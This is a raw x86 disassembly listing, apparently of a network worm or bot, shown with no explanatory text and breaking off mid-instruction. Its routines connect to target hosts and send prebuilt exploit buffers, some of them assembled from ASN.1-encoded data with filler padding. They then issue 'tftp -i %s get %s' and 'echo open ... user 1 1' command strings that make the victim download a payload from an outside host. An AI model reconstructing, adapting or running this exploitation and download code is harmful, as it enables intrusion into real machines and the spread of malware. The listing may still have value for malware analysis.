push eax call sub_4030B0 cmp edi, 1 pop ecx jnz loc_403645 jmp loc_403634 ; --------------------------------------------------------------------------- loc_403524: ; CODE XREF: sub_4033B6+1Aj lea eax, [ebp+arg_4] push 1 push eax call sub_412A1D mov esi, eax pop ecx cmp esi, 1 pop ecx jz loc_403634 xor ebx, ebx push ebx push 1 push 2 call dword_43C5D4 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_403634 push 10h lea eax, [ebp+var_24] push ebx push eax call sub_415390 add esp, 0Ch mov [ebp+var_24], 2 push [ebp+arg_A0] call dword_43C554 ; ntohs mov [ebp+var_22], ax lea eax, [ebp+arg_4] push eax call dword_43C594 ; inet_addr mov [ebp+var_20], eax push ebx lea eax, [ebp+var_C] push esi push eax lea esi, [ebp+arg_0] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_403166 mov esi, eax add esp, 0C8h cmp esi, ebx mov [ebp+var_8], esi jnz short loc_4035B6 push [ebp+var_4] jmp short loc_40362E ; --------------------------------------------------------------------------- loc_4035B6: ; CODE XREF: sub_4033B6+1F9j mov edi, [ebp+var_4] lea eax, [ebp+var_24] push 10h push eax push edi call dword_43C4FC ; connect cmp eax, 0FFFFFFFFh jnz short loc_4035CE loc_4035CB: ; CODE XREF: sub_4033B6+22Aj push esi jmp short loc_403627 ; --------------------------------------------------------------------------- loc_4035CE: ; CODE XREF: sub_4033B6+213j push ebx push 48h push offset dword_425118 push edi call dword_43C5A4 ; send cmp eax, 0FFFFFFFFh jz short loc_4035CB mov esi, 1000h push ebx lea eax, [ebp+var_1338] push esi push eax push edi call dword_43C56C ; recv push ebx push [ebp+var_C] push [ebp+var_8] push edi call dword_43C5A4 ; send cmp eax, 0FFFFFFFFh jnz short loc_40360F push [ebp+var_8] jmp short loc_403627 ; --------------------------------------------------------------------------- loc_40360F: ; CODE XREF: sub_4033B6+252j push ebx lea eax, [ebp+var_1338] push esi push eax push edi call dword_43C56C ; recv push [ebp+var_8] cmp eax, 0FFFFFFFFh jnz short loc_403638 loc_403627: ; CODE XREF: sub_4033B6+216j ; sub_4033B6+257j call sub_415C9B pop ecx push edi loc_40362E: ; CODE XREF: sub_4033B6+1FEj call dword_43C5EC ; closesocket loc_403634: ; CODE XREF: sub_4033B6+31j ; sub_4033B6+80j ... xor eax, eax jmp short loc_4036B1 ; --------------------------------------------------------------------------- loc_403638: ; CODE XREF: sub_4033B6+26Fj call sub_415C9B pop ecx push edi call dword_43C5EC ; closesocket loc_403645: ; CODE XREF: sub_4033B6+163j xor esi, esi loc_403647: ; CODE XREF: sub_4033B6+2B1j lea eax, [ebp+var_338] push eax call sub_40B158 test eax, eax pop ecx jnz short loc_40366B push 1388h call dword_421060 ; Sleep inc esi cmp esi, 6 jl short loc_403647 jmp short loc_4036AE ; --------------------------------------------------------------------------- loc_40366B: ; CODE XREF: sub_4033B6+2A0j cmp [ebp+arg_B4], ebx jnz short loc_403690 push ebx lea eax, [ebp+var_338] push [ebp+arg_B0] push eax lea eax, [ebp+arg_14] push eax push [ebp+arg_0] call sub_412BD1 add esp, 14h loc_403690: ; CODE XREF: sub_4033B6+2BBj lea eax, [ebp+var_338] push eax call sub_40B078 mov eax, [ebp+arg_A8] pop ecx imul eax, 3Ch lea eax, dword_427390[eax] inc dword ptr [eax] loc_4036AE: ; CODE XREF: sub_4033B6+2B3j xor eax, eax inc eax loc_4036B1: ; CODE XREF: sub_4033B6+280j pop edi pop esi pop ebx leave retn sub_4033B6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4036B6 proc near ; DATA XREF: seg001:00423004o jmp $+5 sub_4036B6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4036BB proc near push 0BB80h push 76Ch call sub_413F12 pop ecx mov dword_43B18C, eax pop ecx retn sub_4036BB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4036D2 proc near ; CODE XREF: sub_403833+42Cp var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_415390 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax call dword_43C594 ; inet_addr mov [ebp+var_C], eax mov ax, word ptr dword_43B18C push eax call dword_43C554 ; ntohs push esi push 1 push 2 mov [ebp+var_E], ax call dword_43C5D4 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40380C lea eax, [ebp+var_10] push 10h push eax push ebx call dword_43C4FC ; connect cmp eax, 0FFFFFFFFh jz loc_40380C push esi lea eax, [ebp+var_5A0] push 400h push eax push ebx call dword_43C56C ; recv mov esi, offset byte_42C2BC push esi push esi push [ebp+arg_0] call sub_40A08A pop ecx mov edi, 190h push eax push offset aTftpISGetS ; "tftp -i %s get %s\r\n" lea eax, [ebp+var_1A0] push edi push eax call sub_41588A add esp, 18h push esi push esi push dword_43B1A0 push [ebp+arg_0] call sub_40A08A pop ecx push eax push offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user 1 1 >> o "... lea eax, [ebp+var_1A0] push edi push eax call sub_41588A add esp, 1Ch lea eax, [ebp+var_1A0] push 0 push eax call sub_415B10 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call dword_43C5A4 ; send cmp eax, 0FFFFFFFFh jz short loc_40380C push 1F4h call dword_421060 ; Sleep push esi push offset dword_425090 lea eax, [ebp+var_1A0] push edi push eax call sub_41588A add esp, 10h lea eax, [ebp+var_1A0] push 0 push eax call sub_415B10 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call dword_43C5A4 ; send cmp eax, 0FFFFFFFFh jnz short loc_403810 loc_40380C: ; CODE XREF: sub_4036D2+51j ; sub_4036D2+67j ... xor al, al jmp short loc_40382E ; --------------------------------------------------------------------------- loc_403810: ; CODE XREF: sub_4036D2+138j push 0 lea eax, [ebp+var_5A0] push 400h push eax push ebx call dword_43C56C ; recv push ebx call dword_43C5EC ; closesocket mov al, 1 loc_40382E: ; CODE XREF: sub_4036D2+13Cj pop edi pop esi pop ebx leave retn sub_4036D2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403833 proc near ; CODE XREF: sub_403C74+125p ; sub_403C74+147p var_89B4 = byte ptr -89B4h var_894C = byte ptr -894Ch var_68DC = byte ptr -68DCh var_686C = byte ptr -686Ch var_5DA8 = byte ptr -5DA8h var_4804 = byte ptr -4804h var_4803 = byte ptr -4803h var_3770 = byte ptr -3770h var_2CAC = byte ptr -2CACh var_2CAB = byte ptr -2CABh var_2CA8 = byte ptr -2CA8h var_2C2C = byte ptr -2C2Ch var_245C = byte ptr -245Ch var_1FB1 = byte ptr -1FB1h var_1CC4 = byte ptr -1CC4h var_14E0 = byte ptr -14E0h var_14D0 = byte ptr -14D0h var_11AC = byte ptr -11ACh var_11A8 = byte ptr -11A8h var_119C = byte ptr -119Ch var_F14 = byte ptr -0F14h var_E74 = byte ptr -0E74h var_768 = dword ptr -768h var_758 = byte ptr -758h var_744 = byte ptr -744h var_104 = byte ptr -104h var_103 = byte ptr -103h var_B4 = byte ptr -0B4h var_B1 = byte ptr -0B1h var_87 = byte ptr -87h var_85 = byte ptr -85h var_84 = byte ptr -84h var_3C = byte ptr -3Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_6 = dword ptr -6 var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h arg_C0 = dword ptr 0C8h push ebp mov ebp, esp mov eax, 89B4h call sub_415B90 mov eax, dword_425110 push ebx mov [ebp+var_10], eax mov eax, dword_425114 mov [ebp+var_C], eax push esi lea eax, [ebp+arg_4] push edi push eax lea eax, [ebp+var_3C] push offset loc_425104 push eax call sub_415316 add esp, 0Ch xor ebx, ebx xor eax, eax loc_40386C: ; CODE XREF: sub_403833+4Fj mov cl, [ebp+eax+var_3C] mov [ebp+eax*2+var_103], bl mov [ebp+eax*2+var_104], cl inc eax cmp eax, 28h jl short loc_40386C push 60h lea eax, [ebp+var_B4] push offset dword_425B58 push eax call sub_4153F0 lea eax, [ebp+var_3C] push eax call sub_415B10 add eax, eax push eax lea eax, [ebp+var_104] push eax lea eax, [ebp+var_84] push eax call sub_4153F0 add esp, 1Ch lea eax, [ebp+var_3C] push 9 push (offset aC_0+3) push eax call sub_415B10 pop ecx lea eax, [ebp+eax*2+var_85] push eax call sub_4153F0 lea eax, [ebp+var_3C] push eax call sub_415B10 add al, 1Ah push 1 add al, al mov [ebp+var_1], al lea eax, [ebp+var_1] push eax lea eax, [ebp+var_B1] push eax call sub_4153F0 lea eax, [ebp+var_3C] push eax call sub_415B10 add al, al push 1 add al, 9 mov [ebp+var_2], al lea eax, [ebp+var_2] push eax lea eax, [ebp+var_87] push eax call sub_4153F0 mov ax, word ptr dword_43B18C add esp, 2Ch push eax call dword_43C554 ; ntohs xor eax, 9999h push 2 mov [ebp+var_6], eax lea eax, [ebp+var_6] push eax push offset dword_425850 call sub_4153F0 add esp, 0Ch cmp [ebp+arg_C0], ebx jz loc_403A31 mov edi, 0DACh lea eax, [ebp+var_1CC4] push edi push 90h push eax call sub_415390 mov eax, [ebp+arg_C0] push 4 imul eax, 3Ch lea eax, dword_425F98[eax] mov [ebp+var_14], eax push eax lea eax, [ebp+var_14E0] push eax call sub_4153F0 mov esi, offset loc_4257A0 push esi call sub_415B10 push eax lea eax, [ebp+var_14D0] push esi push eax call sub_4153F0 push 4 lea eax, [ebp+var_11AC] push offset loc_4250FC push eax call sub_4153F0 push 4 lea eax, [ebp+var_11A8] push [ebp+var_14] push eax call sub_4153F0 add esp, 40h push esi call sub_415B10 push eax lea eax, [ebp+var_119C] push esi push eax call sub_4153F0 add esp, 10h xor eax, eax loc_4039E3: ; CODE XREF: sub_403833+1C8j mov cl, [ebp+eax+var_1CC4] mov [ebp+eax*2+var_4803], bl mov [ebp+eax*2+var_4804], cl inc eax cmp eax, edi jl short loc_4039E3 mov esi, 1C52h lea eax, [ebp+var_89B4] push esi push 31h push eax mov [ebp+var_2CAC], bl mov [ebp+var_2CAB], bl call sub_415390 push esi lea eax, [ebp+var_68DC] push 31h push eax call sub_415390 add esp, 18h jmp short loc_403A88 ; --------------------------------------------------------------------------- loc_403A31: ; CODE XREF: sub_403833+119j push 7D0h lea eax, [ebp+var_F14] push 90h push eax call sub_415390 mov esi, offset loc_4257A0 push esi call sub_415B10 push eax lea eax, [ebp+var_E74] push esi push eax call sub_4153F0 lea eax, [ebp+var_10] push eax call sub_415B10 push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_758] push eax call sub_4153F0 mov eax, dword_425F98 add esp, 2Ch mov [ebp+var_768], eax loc_403A88: ; CODE XREF: sub_403833+1FCj push 0E29h lea eax, [ebp+var_2CA8] push 31h push eax call sub_415390 movsx eax, [ebp+var_1] mov edi, [ebp+arg_BC] add esp, 0Ch add eax, 4 push ebx push eax lea eax, [ebp+var_B4] push eax push edi call dword_43C5A4 ; send cmp eax, 0FFFFFFFFh jnz short loc_403AC7 loc_403AC0: ; CODE XREF: sub_403833+2BBj ; sub_403833+2E2j ... xor al, al jmp loc_403C6F ; --------------------------------------------------------------------------- loc_403AC7: ; CODE XREF: sub_403833+28Bj mov esi, 640h push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_43C56C ; recv push ebx push 68h push offset dword_425BC0 push edi call dword_43C5A4 ; send cmp eax, 0FFFFFFFFh jz short loc_403AC0 push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_43C56C ; recv push ebx push 0A0h push offset dword_425C30 push edi call dword_43C5A4 ; send cmp eax, 0FFFFFFFFh jz short loc_403AC0 push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_43C56C ; recv cmp [ebp+arg_C0], ebx jz loc_403BDD push 68h lea eax, [ebp+var_89B4] push offset dword_425DF0 push eax call sub_4153F0 lea eax, [ebp+var_4804] push 1B5Ah push eax lea eax, [ebp+var_894C] push eax call sub_4153F0 push 70h lea eax, [ebp+var_68DC] push offset dword_425E60 push eax call sub_4153F0 lea eax, [ebp+var_3770] push 0A5Eh push eax lea eax, [ebp+var_686C] push eax call sub_4153F0 push 84h lea eax, [ebp+var_5DA8] push offset dword_425ED8 push eax call sub_4153F0 add esp, 3Ch lea eax, [ebp+var_89B4] push ebx push 10FCh push eax push edi call dword_43C5A4 ; send cmp eax, 0FFFFFFFFh jz loc_403AC0 push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_43C56C ; recv push ebx push 0FDCh lea eax, [ebp+var_68DC] jmp short loc_403C33 ; --------------------------------------------------------------------------- loc_403BDD: ; CODE XREF: sub_403833+2FAj push 7Ch lea eax, [ebp+var_2CA8] push offset dword_425CD8 push eax call sub_4153F0 lea eax, [ebp+var_F14] push 7D0h push eax lea eax, [ebp+var_2C2C] push eax call sub_4153F0 push 90h lea eax, [ebp+var_245C] push offset off_425D58 push eax call sub_4153F0 add esp, 24h mov [ebp+var_1FB1], bl lea eax, [ebp+var_2CA8] push ebx push 0CF8h loc_403C33: ; CODE XREF: sub_403833+3A8j push eax push edi call dword_43C5A4 ; send cmp eax, 0FFFFFFFFh jz loc_403AC0 push 12Ch call dword_421060 ; Sleep sub esp, 0BCh lea esi, [ebp+arg_0] push 2Fh pop ecx mov edi, esp rep movsd call sub_4036D2 add esp, 0BCh test al, al setnz al loc_403C6F: ; CODE XREF: sub_403833+28Fj pop edi pop esi pop ebx leave retn sub_403833 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403C74 proc near ; CODE XREF: seg001:00402FB3p ; seg001:00403E5Dp ... var_854 = byte ptr -854h var_810 = byte ptr -810h var_214 = byte ptr -214h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_14 = byte ptr 1Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h arg_B0 = dword ptr 0B8h push ebp mov ebp, esp sub esp, 854h push ebx push esi push edi push 0BB80h push 76Ch call sub_413F12 xor edi, edi push 10h lea eax, [ebp+var_14] push edi push eax mov [ebp+var_4], edi call sub_415390 add esp, 14h lea eax, [ebp+arg_4] mov [ebp+var_14], 2 push eax call dword_43C594 ; inet_addr push [ebp+arg_A0] mov [ebp+var_10], eax call dword_43C554 ; ntohs push 6 push 1 push 2 mov [ebp+var_12], ax call dword_43C5D4 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_403D7C lea eax, [ebp+var_14] push 10h push eax push ebx call dword_43C4FC ; connect cmp eax, 0FFFFFFFFh jz loc_403D7C push edi push 89h push offset dword_425938 push ebx call dword_43C5A4 ; send cmp eax, 0FFFFFFFFh jz short loc_403D7C mov esi, 640h push edi lea eax, [ebp+var_854] push esi push eax push ebx call dword_43C56C ; recv push edi push 0A8h push offset dword_4259C8 push ebx call dword_43C5A4 ; send cmp eax, 0FFFFFFFFh jz short loc_403D7C push edi lea eax, [ebp+var_854] push esi push eax push ebx call dword_43C56C ; recv push edi push 0DEh push offset dword_425A78 push ebx call dword_43C5A4 ; send cmp eax, 0FFFFFFFFh jz short loc_403D7C push edi lea eax, [ebp+var_854] push esi push eax push ebx call dword_43C56C ; recv movsx eax, [ebp+var_810] sub eax, 30h jz short loc_403D86 dec eax jz short loc_403D83 loc_403D7C: ; CODE XREF: sub_403C74+63j ; sub_403C74+79j ... xor eax, eax jmp loc_403E1C ; --------------------------------------------------------------------------- loc_403D83: ; CODE XREF: sub_403C74+106j push edi jmp short loc_403DAA ; --------------------------------------------------------------------------- loc_403D86: ; CODE XREF: sub_403C74+103j push 2 push ebx sub esp, 0BCh lea esi, [ebp+arg_0] push 2Fh pop ecx mov edi, esp rep movsd call sub_403833 add esp, 0C4h test al, al jnz short loc_403DCA push 1 loc_403DAA: ; CODE XREF: sub_403C74+110j push ebx lea esi, [ebp+arg_0] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_403833 add esp, 0C4h test al, al jz short loc_403DD1 loc_403DCA: ; CODE XREF: sub_403C74+132j mov [ebp+var_4], 1 loc_403DD1: ; CODE XREF: sub_403C74+154j push ebx call dword_43C5EC ; closesocket cmp [ebp+var_4], 0 jz short loc_403E19 push 0 lea eax, [ebp+var_214] push [ebp+arg_B0] push eax lea eax, [ebp+arg_14] push eax push [ebp+arg_0] call sub_412BD1 lea eax, [ebp+var_214] push eax call sub_40B078 mov eax, [ebp+arg_A8] add esp, 18h imul eax, 3Ch lea eax, dword_427390[eax] inc dword ptr [eax] loc_403E19: ; CODE XREF: sub_403C74+168j xor eax, eax inc eax loc_403E1C: ; CODE XREF: sub_403C74+10Aj pop edi pop esi pop ebx leave retn sub_403C74 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push esi push edi sub esp, 0BCh lea esi, [ebp+8] mov dword ptr [ebp+0A8h], 1BDh push 2Fh pop ecx mov edi, esp rep movsd call sub_402DD1 push 2Fh lea esi, [ebp+8] pop ecx mov dword ptr [ebp+0A8h], 1BDh mov edi, esp mov [ebp-4], eax rep movsd call sub_403C74 add esp, 0BCh cmp dword ptr [ebp-4], 0 jnz short loc_403E72 test eax, eax jz short loc_403E75 loc_403E72: ; CODE XREF: seg001:00403E6Cj xor eax, eax inc eax loc_403E75: ; CODE XREF: seg001:00403E70j pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= sub_403E79 proc near ; CODE XREF: sub_4040E5+Ep ; sub_4040E5+33p ... mov eax, ecx and dword ptr [eax+4], 0 and dword ptr [eax], 0 retn sub_403E79 endp ; =============== S U B R O U T I N E ======================================= sub_403E83 proc near ; CODE XREF: sub_4040E5+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi push edi push ebx mov esi, ecx call sub_415BE9 mov edi, eax pop ecx test edi, edi jz short loc_403EB5 push ebx push 0 push edi call sub_415390 push ebx push [esp+1Ch+arg_0] push edi call sub_4153F0 add esp, 18h mov [esi+4], ebx mov [esi], edi loc_403EB5: ; CODE XREF: sub_403E83+14j mov eax, esi pop edi pop esi pop ebx retn 8 sub_403E83 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403EBD proc near ; CODE XREF: sub_403FAF+18p ; sub_404029+16p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, ecx mov ecx, [ebp+arg_C] push esi push edi lea edi, [eax+ecx] push edi call sub_415BE9 mov esi, eax pop ecx test esi, esi jz short loc_403F09 push edi push 0 push esi call sub_415390 push [ebp+arg_4] push [ebp+arg_0] push esi call sub_4153F0 push [ebp+arg_C] mov eax, [ebp+arg_4] add eax, esi push [ebp+arg_8] push eax call sub_4153F0 add esp, 24h mov [ebx+4], edi mov [ebx], esi loc_403F09: ; CODE XREF: sub_403EBD+1Cj pop edi mov eax, ebx pop esi pop ebx pop ebp retn 10h sub_403EBD endp ; =============== S U B R O U T I N E ======================================= sub_403F12 proc near ; CODE XREF: sub_403FAF+5Ep ; sub_403FAF+6Fp ... push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_403F22 push eax call sub_415C9B pop ecx loc_403F22: ; CODE XREF: sub_403F12+7j and dword ptr [esi+4], 0 and dword ptr [esi], 0 pop esi retn sub_403F12 endp ; =============== S U B R O U T I N E ======================================= sub_403F2B proc near ; CODE XREF: sub_403FAF+20p ; sub_40408A+8p ... push ebx push esi mov esi, ecx push edi mov eax, [esi+4] cmp eax, 0FFFFh jge short loc_403F55 xor ebx, ebx cmp eax, 7Fh setnl bl lea ebx, [ebx+ebx+1] add eax, ebx push eax call sub_415BE9 mov edi, eax pop ecx test edi, edi jnz short loc_403F59 loc_403F55: ; CODE XREF: sub_403F2B+Dj xor al, al jmp short loc_403FAB ; --------------------------------------------------------------------------- loc_403F59: ; CODE XREF: sub_403F2B+28j mov eax, [esi+4] add eax, ebx push eax push 0 push edi call sub_415390 add esp, 0Ch cmp ebx, 1 jnz short loc_403F79 mov al, [esi+4] mov [edi], al lea eax, [edi+1] jmp short loc_403F8E ; --------------------------------------------------------------------------- loc_403F79: ; CODE XREF: sub_403F2B+42j mov byte ptr [edi], 82h mov eax, [esi+4] sar eax, 8 mov [edi+1], al mov al, [esi+4] mov [edi+2], al lea eax, [edi+3] loc_403F8E: ; CODE XREF: sub_403F2B+4Cj push dword ptr [esi+4] push dword ptr [esi] push eax call sub_4153F0 add esp, 0Ch push dword ptr [esi] call sub_415C9B add [esi+4], ebx pop ecx mov [esi], edi mov al, 1 loc_403FAB: ; CODE XREF: sub_403F2B+2Cj pop edi pop esi pop ebx retn sub_403F2B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403FAF proc near ; CODE XREF: sub_4040E5+89p ; sub_4040E5+E3p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push edi lea ecx, [ebp+var_8] push dword ptr [esi+4] push dword ptr [esi] push 1 push offset dword_43B198 call sub_403EBD lea ecx, [ebp+var_8] call sub_403F2B mov eax, [ebp+var_4] inc eax push eax call sub_415BE9 mov edi, eax pop ecx test edi, edi jnz short loc_403FE9 xor al, al jmp short loc_404025 ; --------------------------------------------------------------------------- loc_403FE9: ; CODE XREF: sub_403FAF+34j mov eax, [ebp+var_4] inc eax push eax push 0 push edi call sub_415390 mov byte ptr [edi], 3 push [ebp+var_4] lea eax, [edi+1] push [ebp+var_8] push eax call sub_4153F0 add esp, 18h mov ecx, esi call sub_403F12 mov eax, [ebp+var_4] lea ecx, [ebp+var_8] inc eax mov [esi], edi mov [esi+4], eax call sub_403F12 mov al, 1 loc_404025: ; CODE XREF: sub_403FAF+38j pop edi pop esi leave retn sub_403FAF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404029 proc near ; CODE XREF: sub_40405D+14p ; sub_40407A+8p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push [ebp+arg_4] lea ecx, [ebp+var_8] push [ebp+arg_0] push dword ptr [esi+4] push dword ptr [esi] call sub_403EBD mov ecx, esi call sub_403F12 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 pop esi leave retn 8 sub_404029 endp ; =============== S U B R O U T I N E ======================================= sub_40405D proc near ; CODE XREF: sub_4040E5+F0p ; sub_4040E5+15Bp ... arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_415B10 pop ecx push eax mov ecx, esi push [esp+8+arg_0] call sub_404029 pop esi retn 4 sub_40405D endp ; =============== S U B R O U T I N E ======================================= sub_40407A proc near ; CODE XREF: sub_4040C6+Bp ; sub_4040E5+1A1p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_404029 retn 8 sub_40407A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40408A proc near ; CODE XREF: sub_4040C6+16p ; sub_4040E5+91p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx call sub_403F2B test al, al jz short loc_4040C3 push dword ptr [esi+4] lea ecx, [ebp+var_8] push dword ptr [esi] push 1 push (offset loc_426447+1) call sub_403EBD mov ecx, esi call sub_403F12 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 loc_4040C3: ; CODE XREF: sub_40408A+Fj pop esi leave retn sub_40408A endp ; =============== S U B R O U T I N E ======================================= sub_4040C6 proc near ; CODE XREF: sub_4040E5+134p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx push [esp+4+arg_4] push [esp+8+arg_0] call sub_40407A test al, al jz short loc_4040E1 mov ecx, esi call sub_40408A loc_4040E1: ; CODE XREF: sub_4040C6+12j pop esi retn 8 sub_4040C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4040E5 proc near ; CODE XREF: seg001:0040495Cp var_858 = byte ptr -858h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 858h push ebx push edi lea ecx, [ebp+var_48] call sub_403E79 mov edi, 408h cmp [ebp+arg_8], edi jg loc_404429 mov ebx, [ebp+arg_10] lea eax, [ebx+8] cmp eax, edi ja loc_404429 push esi lea ecx, [ebp+var_30] call sub_403E79 lea ecx, [ebp+var_20] call sub_403E79 lea ecx, [ebp+var_50] call sub_403E79 lea ecx, [ebp+var_18] call sub_403E79 lea ecx, [ebp+var_40] call sub_403E79 lea ecx, [ebp+var_38] call sub_403E79 lea ecx, [ebp+var_28] call sub_403E79 push 4 push offset dword_4260DC lea ecx, [ebp+var_30] call sub_404029 push 3 push offset dword_4260E4 lea ecx, [ebp+var_30] call sub_404029 lea ecx, [ebp+var_30] call sub_403FAF lea ecx, [ebp+var_30] call sub_40408A mov esi, 800h lea eax, [ebp+var_858] push esi push 42h push eax call sub_415390 add esp, 0Ch lea ecx, [ebp+var_20] push 8 push offset aRbrbrbrb ; "BBBB" call sub_404029 push ebx lea ecx, [ebp+var_20] push [ebp+arg_C] call sub_404029 mov eax, 409h lea ecx, [ebp+var_20] sub eax, [ebp+var_1C] push eax lea eax, [ebp+var_858] push eax call sub_404029 lea ecx, [ebp+var_20] call sub_403FAF push offset loc_426470 lea ecx, [ebp+var_50] call sub_40405D lea ecx, [ebp+var_50] call sub_403FAF push esi lea eax, [ebp+var_858] push 44h push eax call sub_415390 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_58] push 410h push eax call sub_403E83 lea ecx, [ebp+var_58] call sub_403FAF push [ebp+var_54] lea ecx, [ebp+var_50] push [ebp+var_58] call sub_4040C6 lea ecx, [ebp+var_58] call sub_403F12 push esi lea eax, [ebp+var_858] push 43h push eax call sub_415390 add esp, 0Ch push offset aCccc ; "CCCC" lea ecx, [ebp+var_18] call sub_40405D push 4 push offset dword_4260E8 lea ecx, [ebp+var_18] call sub_404029 push [ebp+arg_8] lea ecx, [ebp+var_18] push [ebp+arg_4] call sub_404029 sub edi, [ebp+arg_8] lea eax, [ebp+var_858] lea ecx, [ebp+var_18] push edi push eax call sub_404029 lea ecx, [ebp+var_18] call sub_403FAF push [ebp+var_14] lea ecx, [ebp+var_40] push [ebp+var_18] call sub_40407A push [ebp+var_4C] lea ecx, [ebp+var_40] push [ebp+var_50] call sub_40407A lea ecx, [ebp+var_40] call sub_40408A lea ecx, [ebp+var_18] call sub_403F12 lea ecx, [ebp+var_50] call sub_403F12 push [ebp+var_1C] lea ecx, [ebp+var_38] push [ebp+var_20] call sub_40407A push [ebp+var_2C] lea ecx, [ebp+var_38] push [ebp+var_30] call sub_40407A push [ebp+var_3C] lea ecx, [ebp+var_38] push [ebp+var_40] call sub_40407A lea ecx, [ebp+var_38] call sub_40408A lea ecx, [ebp+var_20] call sub_403F12 lea ecx, [ebp+var_30] call sub_403F12 lea ecx, [ebp+var_40] call sub_403F12 push esi lea eax, [ebp+var_858] push 41h push eax call sub_415390 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_28] push 400h push eax call sub_404029 lea ecx, [ebp+var_28] call sub_403FAF push 2 push offset dword_426464 lea ecx, [ebp+var_28] call sub_404029 push [ebp+var_34] lea ecx, [ebp+var_28] push [ebp+var_38] call sub_40407A lea ecx, [ebp+var_28] call sub_40408A lea ecx, [ebp+var_38] call sub_403F12 lea ecx, [ebp+var_10] call sub_403E79 lea ecx, [ebp+var_8] call sub_403E79 push [ebp+var_24] lea ecx, [ebp+var_10] push [ebp+var_28] call sub_40407A lea ecx, [ebp+var_10] call sub_403F2B lea ecx, [ebp+var_28] call sub_403F12 push offset dword_426460 lea ecx, [ebp+var_8] call sub_40405D push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40407A lea ecx, [ebp+var_8] call sub_403F2B lea ecx, [ebp+var_10] call sub_403F12 push offset dword_42645C lea ecx, [ebp+var_10] call sub_40405D push [ebp+var_4] lea ecx, [ebp+var_10] push [ebp+var_8] call sub_40407A lea ecx, [ebp+var_10] call sub_403F2B lea ecx, [ebp+var_8] call sub_403F12 push offset dword_426450 lea ecx, [ebp+var_8] call sub_40405D push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40407A lea ecx, [ebp+var_8] call sub_403F2B lea ecx, [ebp+var_10] call sub_403F12 push offset dword_42644C lea ecx, [ebp+var_48] call sub_40405D push 